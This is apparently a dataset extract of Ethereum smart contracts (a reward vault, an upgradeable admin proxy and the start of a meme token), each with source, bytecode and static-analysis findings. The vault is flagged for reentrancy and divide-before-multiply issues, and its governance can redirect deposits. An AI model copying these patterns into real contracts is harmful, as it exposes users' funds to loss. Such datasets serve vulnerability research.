address public vaultAddress;
uint32 public feePermill = 5;
uint256 public delayDuration = 7 days;
bool public withdrawable;
address public gov;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token0, address _token1, address _feeAddress, address _vaultAddress, string memory name) {
token0 = IERC20(_token0);
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken0(address _token)
external
onlyGov
{
token0 = IERC20(_token);
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
public
view
returns (uint256)
{
return token0.balanceOf(address(this));
}
function balance1()
public
view
returns (uint256)
{
return token1.balanceOf(address(this));
}
function rewardUpdate()
public
{
if (_rewardCount > 0) {
uint256 i;
uint256 j;
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
_rewards[i].startTime = uint256(-1);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
_rewards[i].checkTime = block.timestamp;
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount;
for (j = 0; j < addressIndices.length; j++) {
addAmount = timedAmount.mul(depositBalances[addressIndices[j]]).div(totalDeposit);
rewardBalances[addressIndices[j]] = rewardBalances[addressIndices[j]].add(addAmount);
}
if (i == 0) {
break;
}
}
}
}
function depositAll()
external
{
deposit(token0.balanceOf(msg.sender));
}
function deposit(uint256 _amount)
public
{
require(_amount > 0, "can't deposit 0");
rewardUpdate();
uint256 arrayLength = addressIndices.length;
bool found = false;
for (uint256 i = 0; i < arrayLength; i++) {
if (addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 feeAmount = _amount.mul(feePermill).div(1000);
uint256 realAmount = _amount.sub(feeAmount);
token0.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token0.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
emit Deposited(msg.sender, realAmount);
}
function sendReward(uint256 _amount)
external
{
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token1.safeTransferFrom(msg.sender, address(this), _amount);
rewardUpdate();
_rewards[_rewardCount].amount = _amount;
_rewards[_rewardCount].startTime = block.timestamp;
_rewards[_rewardCount].checkTime = block.timestamp;
_rewardCount++;
emit SentReward(_amount);
}
function claimRewardAll()
external
{
claimReward(uint256(-1));
}
function claimReward(uint256 _amount)
public
{
require(_rewardCount > 0, "no reward amount");
rewardUpdate();
if (_amount > rewardBalances[msg.sender]) {
_amount = rewardBalances[msg.sender];
}
require(_amount > 0, "can't claim reward 0");
token1.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit ClaimedReward(msg.sender, _amount);
}
function withdrawAll()
external
{
withdraw(uint256(-1));
}
function withdraw(uint256 _amount)
public
{
require(token0.balanceOf(address(this)) > 0, "no withdraw amount");
require(withdrawable, "not withdrawable");
rewardUpdate();
if (_amount > depositBalances[msg.sender]) {
_amount = depositBalances[msg.sender];
}
require(_amount > 0, "can't withdraw 0");
token0.safeTransfer(msg.sender, _amount);
depositBalances[msg.sender] = depositBalances[msg.sender].sub(_amount);
totalDeposit = totalDeposit.sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableRewardAmount(address owner)
public
view
returns(uint256)
{
uint256 i;
uint256 availableReward = rewardBalances[owner];
if (_rewardCount > 0) {
for (i = _rewardCount - 1; _rewards[i].startTime < block.timestamp; --i) {
uint256 duration;
if (block.timestamp.sub(_rewards[i].startTime) > delayDuration) {
duration = _rewards[i].startTime.add(delayDuration).sub(_rewards[i].checkTime);
} else {
duration = block.timestamp.sub(_rewards[i].checkTime);
}
uint256 timedAmount = _rewards[i].amount.mul(duration).div(delayDuration);
uint256 addAmount = timedAmount.mul(depositBalances[owner]).div(totalDeposit);
availableReward = availableReward.add(addAmount);
if (i == 0) {
break;
}
}
}
return availableReward;
}
}
|
0x608060405234801561001057600080fd5b50600436106102115760003560e01c8063a7df8c5711610125578063c78b6dea116100ad578063de5f62681161007c578063de5f6268146105da578063e2aa2a85146105e2578063e835dfbd146105ea578063f6153ccd146105f2578063fab980b7146105fa57610211565b8063c78b6dea14610573578063cbeb7ef214610590578063d21220a7146105af578063d86e1ef7146105b757610211565b8063b6b55f25116100f4578063b6b55f25146104df578063b79ea884146104fc578063b8f7928814610522578063c45c4f5814610545578063c6e426bd1461054d57610211565b8063a7df8c5714610477578063ab033ea914610494578063ae169a50146104ba578063b5984a36146104d757610211565b806344264d3d116101a857806385535cc51161017757806385535cc5146103a45780638705fcd4146103ca5780638d96bdbe146103f05780638f1e94051461041657806393c8dc6d1461045157610211565b806344264d3d146103575780635018830114610378578063637830ca14610394578063853828b61461039c57610211565b80631eb903cf116101e45780631eb903cf146103045780632e1a7d4d1461032a5780634127535814610347578063430bf08a1461034f57610211565b80630dfe16811461021657806311cc66b21461023a57806312d43a51146102e25780631c69ad00146102ea575b600080fd5b61021e610677565b604080516001600160a01b039092168252519081900360200190f35b6102e06004803603602081101561025057600080fd5b81019060208101813564010000000081111561026b57600080fd5b82018360208201111561027d57600080fd5b8035906020019184600183028401116401000000008311171561029f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610686945050505050565b005b61021e6106ef565b6102f2610703565b60408051918252519081900360200190f35b6102f26004803603602081101561031a57600080fd5b50356001600160a01b031661077f565b6102e06004803603602081101561034057600080fd5b5035610791565b61021e61099c565b61021e6109ab565b61035f6109ba565b6040805163ffffffff9092168252519081900360200190f35b6103806109cd565b604080519115158252519081900360200190f35b6102e06109d6565b6102e06109e3565b6102e0600480360360208110156103ba57600080fd5b50356001600160a01b03166109ee565b6102e0600480360360208110156103e057600080fd5b50356001600160a01b0316610a62565b6102f26004803603602081101561040657600080fd5b50356001600160a01b0316610ad6565b6104336004803603602081101561042c57600080fd5b5035610c25565b60408051938452602084019290925282820152519081900360600190f35b6102f26004803603602081101561046757600080fd5b50356001600160a01b0316610c46565b61021e6004803603602081101561048d57600080fd5b5035610c58565b6102e0600480360360208110156104aa57600080fd5b50356001600160a01b0316610c7f565b6102e0600480360360208110156104d057600080fd5b5035610cf9565b6102f2610e3d565b6102e0600480360360208110156104f557600080fd5b5035610e43565b6102e06004803603602081101561051257600080fd5b50356001600160a01b0316611020565b6102e06004803603602081101561053857600080fd5b503563ffffffff16611094565b6102f261110c565b6102e06004803603602081101561056357600080fd5b50356001600160a01b0316611157565b6102e06004803603602081101561058957600080fd5b50356111cb565b6102e0600480360360208110156105a657600080fd5b503515156112fc565b61021e611361565b6102e0600480360360208110156105cd57600080fd5b503563ffffffff16611370565b6102e06113cd565b6102f261144a565b6102e0611450565b6102f261162c565b610602611632565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561063c578181015183820152602001610624565b50505050905090810190601f1680156106695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6001546001600160a01b031681565b60065461010090046001600160a01b031633146106d8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b80516106eb906000906020840190611ba7565b5050565b60065461010090046001600160a01b031681565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b505afa158015610762573d6000803e3d6000fd5b505050506040513d602081101561077857600080fd5b5051905090565b60086020526000908152604090205481565b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156107dc57600080fd5b505afa1580156107f0573d6000803e3d6000fd5b505050506040513d602081101561080657600080fd5b50511161084f576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b60065460ff16610899576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b6108a1611450565b336000908152600860205260409020548111156108ca5750336000908152600860205260409020545b60008111610912576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600154610929906001600160a01b031633836116c0565b336000908152600860205260409020546109439082611717565b336000908152600860205260409020556007546109609082611717565b60075560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b6003546001600160a01b031681565b6004546001600160a01b031681565b600454600160a01b900463ffffffff1681565b60065460ff1681565b6109e1600019610cf9565b565b6109e1600019610791565b60065461010090046001600160a01b03163314610a40576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b03163314610ab4576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038116600090815260096020526040812054600c5482919015610c1e576001600c540391505b6000828152600b6020526040902060010154421115610c1e576005546000838152600b6020526040812060010154909190610b3f904290611717565b1115610b7c576000838152600b602052604090206002810154600554600190920154610b7592610b6f9190611762565b90611717565b9050610b9c565b6000838152600b6020526040902060020154610b99904290611717565b90505b6005546000848152600b60205260408120549091610bc491610bbe90856117bc565b90611815565b6007546001600160a01b03881660009081526008602052604081205492935091610bf49190610bbe9085906117bc565b9050610c008482611762565b935084610c0f57505050610c1e565b50506000199092019150610b03565b9392505050565b600b6020526000908152604090208054600182015460029092015490919083565b60096020526000908152604090205481565b600a8181548110610c6557fe5b6000918252602090912001546001600160a01b0316905081565b60065461010090046001600160a01b03163314610cd1576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000600c5411610d43576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b610d4b611450565b33600090815260096020526040902054811115610d745750336000908152600960205260409020545b60008111610dc0576040805162461bcd60e51b8152602060048201526014602482015273063616e277420636c61696d2072657761726420360641b604482015290519081900360640190fd5b600254610dd7906001600160a01b031633836116c0565b33600090815260096020526040902054610df19082611717565b33600081815260096020908152604091829020939093558051848152905191927fd0813ff03c470dcc7baa9ce36914dc2febdfd276d639deffaac383fd3db42ba392918290030190a250565b60055481565b60008111610e8a576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b610e92611450565b600a546000805b82811015610ee457336001600160a01b0316600a8281548110610eb857fe5b6000918252602090912001546001600160a01b03161415610edc5760019150610ee4565b600101610e99565b5080610f2d57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b031916331790555b600454600090610f57906103e890610bbe90879063ffffffff600160a01b9091048116906117bc16565b90506000610f658583611717565b600354600154919250610f87916001600160a01b039081169133911685611857565b600454600154610fa6916001600160a01b039182169133911684611857565b600754610fb39082611762565b60075533600090815260086020526040902054610fd09082611762565b33600081815260086020908152604091829020939093558051848152905191927f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c492918290030190a25050505050565b60065461010090046001600160a01b03163314611072576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b031633146110e6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6004805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b60065461010090046001600160a01b031633146111a9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008111611211576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060075411611268576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600254611280906001600160a01b0316333084611857565b611288611450565b600c80546000908152600b60209081526040808320859055835483528083204260019182018190558554855293829020600201939093558354909201909255805183815290517feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929181900390910190a150565b60065461010090046001600160a01b0316331461134e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006805460ff1916911515919091179055565b6002546001600160a01b031681565b60065461010090046001600160a01b031633146113c2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600555565b600154604080516370a0823160e01b815233600482015290516109e1926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561141957600080fd5b505afa15801561142d573d6000803e3d6000fd5b505050506040513d602081101561144357600080fd5b5051610e43565b600c5481565b600c54156109e157600c546000190160005b6000828152600b60205260409020600101544211156106eb576005546000838152600b602052604081206001015490919061149e904290611717565b11156114ec576000838152600b6020526040902060028101546005546001909201546114ce92610b6f9190611762565b6000848152600b60205260409020600019600190910155905061150c565b6000838152600b6020526040902060020154611509904290611717565b90505b6000838152600b6020526040812042600282015560055490546115349190610bbe90856117bc565b905060008093505b600a548410156116105761158c600754610bbe60086000600a898154811061156057fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205485906117bc565b90506115ce8160096000600a88815481106115a357fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205490611762565b60096000600a87815481106115df57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020556001939093019261153c565b8461161d575050506106eb565b50506000199092019150611462565b60075481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156116b85780601f1061168d576101008083540402835291602001916116b8565b820191906000526020600020905b81548152906001019060200180831161169b57829003601f168201915b505050505081565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526117129084906118b7565b505050565b600061175983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a6f565b90505b92915050565b600082820183811015611759576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826117cb5750600061175c565b828202828482816117d857fe5b04146117595760405162461bcd60e51b8152600401808060200182810382526021815260200180611c3b6021913960400191505060405180910390fd5b600061175983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b06565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526118b19085906118b7565b50505050565b6118c9826001600160a01b0316611b6b565b61191a576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106119585780518252601f199092019160209182019101611939565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146119ba576040519150601f19603f3d011682016040523d82523d6000602084013e6119bf565b606091505b509150915081611a16576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156118b157808060200190516020811015611a3257600080fd5b50516118b15760405162461bcd60e51b815260040180806020018281038252602a815260200180611c5c602a913960400191505060405180910390fd5b60008184841115611afe5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ac3578181015183820152602001611aab565b50505050905090810190601f168015611af05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611b555760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611ac3578181015183820152602001611aab565b506000838581611b6157fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611b9f5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611be857805160ff1916838001178555611c15565b82800160010185558215611c15579182015b82811115611c15578251825591602001919060010190611bfa565b50611c21929150611c25565b5090565b5b80821115611c215760008155600101611c2656fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220be7118cd2cafe9596cbe5f978fb01c5c5e88846602753f41194e6be36c6e544d64736f6c63430007000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,794 |
0x8751d4196027d4e6da63716fa7786b5174f04c15
|
/**
*Submitted for verification at arbiscan.io on 2021-09-03
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220be03a0e193999aa3f73abc2c738d9388117f726ecbfa283dbaf2e66b9e4bd98164736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,795 |
0x87f158b41fb42b58555b84b9a771d4096934cdab
|
/**
*Submitted for verification at Etherscan.io on 2022-02-12
*/
/**
Lilly Inu -- Lilly Inu
Telegram: https://t.me/LillyInuOfficial
Website: https://lilly-inu.com
Twitter: https://twitter.com/LillyInuEth
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
